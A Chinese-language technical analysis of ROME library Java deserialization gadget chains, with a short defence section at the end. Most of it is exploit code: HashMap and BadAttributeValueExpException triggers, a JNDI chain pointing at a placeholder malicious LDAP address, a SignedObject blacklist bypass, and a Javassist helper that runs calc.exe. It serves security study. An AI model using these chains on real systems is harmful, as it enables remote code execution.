ROME反序列化利用链
字数 1680 2025-08-23 18:31:17
ROME反序列化利用链深入分析与利用
前言
ROME是一个Java库,用于处理RSS和Atom feeds。在其实现中,存在一些可以被利用进行反序列化攻击的类,特别是ToStringBean和EqualsBean类。本文将详细分析这些利用链的原理和构造方法。
核心利用类分析
ToStringBean类
ToStringBean类是ROME库中的核心利用点:
- 构造函数:
public ToStringBean(Class beanClass, Object obj),接收一个类和一个对象 - 无参
toString()方法会调用有参toString(String)方法,传入参数为this._beanClass的类名 - 有参
toString(String)方法会:- 获取
this._beanClass的所有getter方法 - 通过反射调用
this._obj的getter方法
- 获取
关键点:当this._obj是TemplatesImpl对象时,调用其getOutputProperties()方法会触发类加载导致代码执行。
EqualsBean类
EqualsBean类是另一个可利用的类:
hashCode()方法会调用beanHashCode()方法beanHashCode()方法会调用this._obj.toString()方法this._obj由构造函数传入,可控
利用链构造
基于HashMap的利用链
这是最基础的利用方式,利用HashMap的readObject触发链:
// 构造恶意TemplatesImpl对象
TemplatesImpl template = (TemplatesImpl) util.getTeml();
// 构造ToStringBean
ToStringBean toStringBean = new ToStringBean(Templates.class, template);
// 构造EqualsBean
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
// 构造恶意HashMap
HashMap hashmap = new HashMap();
util.setFieldValue(hashmap,"size",2);
// 设置HashMap的table字段
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 1);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, 1, null));
util.setFieldValue(hashmap,"table",tbl);
调用链:
HashMap.readObject()hash(key)->key.hashCode()EqualsBean.hashCode()->beanHashCode()this._obj.toString()(ToStringBean.toString())- 反射调用
TemplatesImpl.getOutputProperties() - 触发恶意类加载执行代码
BadAttributeValueExpException利用链
这是另一种入口点,利用BadAttributeValueExpException在反序列化时调用toString()的特性:
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, template);
BadAttributeValueExpException b = new BadAttributeValueExpException(1);
util.setFieldValue(b,"val",toStringBean);
调用链:
BadAttributeValueExpException.readObject()valObj.toString()ToStringBean.toString()- 反射调用
TemplatesImpl.getOutputProperties() - 触发恶意类加载执行代码
JdbcRowSetImpl利用链
结合JNDI注入的利用方式:
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("ldap://恶意地址");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "1");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean,1);
util.setFieldValue(toStringBean,"_obj",j);
SignedObject二次反序列化绕过
当存在反序列化黑名单时,可以利用SignedObject进行二次反序列化绕过:
// 第一次构造
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean, "1");
util.setFieldValue(toStringBean,"_obj",template);
// 封装为SignedObject
SignedObject s = makeSignedObject(hashmap);
// 二次反序列化构造
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, "s");
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
HashMap hashmap2 = new HashMap();
hashmap2.put(equalsBean2, "1");
util.setFieldValue(toStringBean2,"_obj",s);
不依赖ToStringBean的利用方式
通过EqualsBean的beanEquals方法中的getter调用:
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean, "1");
util.setFieldValue(toStringBean,"_obj",template);
SignedObject s = makeSignedObject(hashmap);
SignedObject s2 = makeSignedObject(null);
// 构造Hashtable利用链
EqualsBean equalsBean2 = new EqualsBean(String.class, "1");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean2);
map1.put("zZ",s);
map2.put("zZ",equalsBean2);
map2.put("yy",s);
Hashtable t = new Hashtable<>();
t.put(map1,"1");
t.put(map2,"2");
util.setFieldValue(equalsBean2,"_beanClass",SignedObject.class);
util.setFieldValue(equalsBean2,"_obj",s2);
工具类util分析
关键的util类提供了以下功能:
getTeml()- 动态构造恶意TemplatesImpl对象setFieldValue()- 通过反射设置对象字段值serialize()- 序列化对象unserialize()- 反序列化对象
其中getTeml()方法使用Javassist动态生成恶意类:
public static Object getTeml() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("asdasdasasd");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
// 设置TemplatesImpl的必要字段
// ...
return templates;
}
防御建议
- 升级ROME库到最新版本
- 对反序列化操作进行严格限制
- 使用安全的反序列化工具,如使用白名单机制
- 对
ObjectInputStream进行加固,过滤危险类
总结
ROME反序列化利用链主要通过ToStringBean和EqualsBean类的特性,结合Java反序列化机制中的各种触发点(如HashMap、BadAttributeValueExpException等)实现远程代码执行。理解这些利用链有助于更好地防御反序列化漏洞。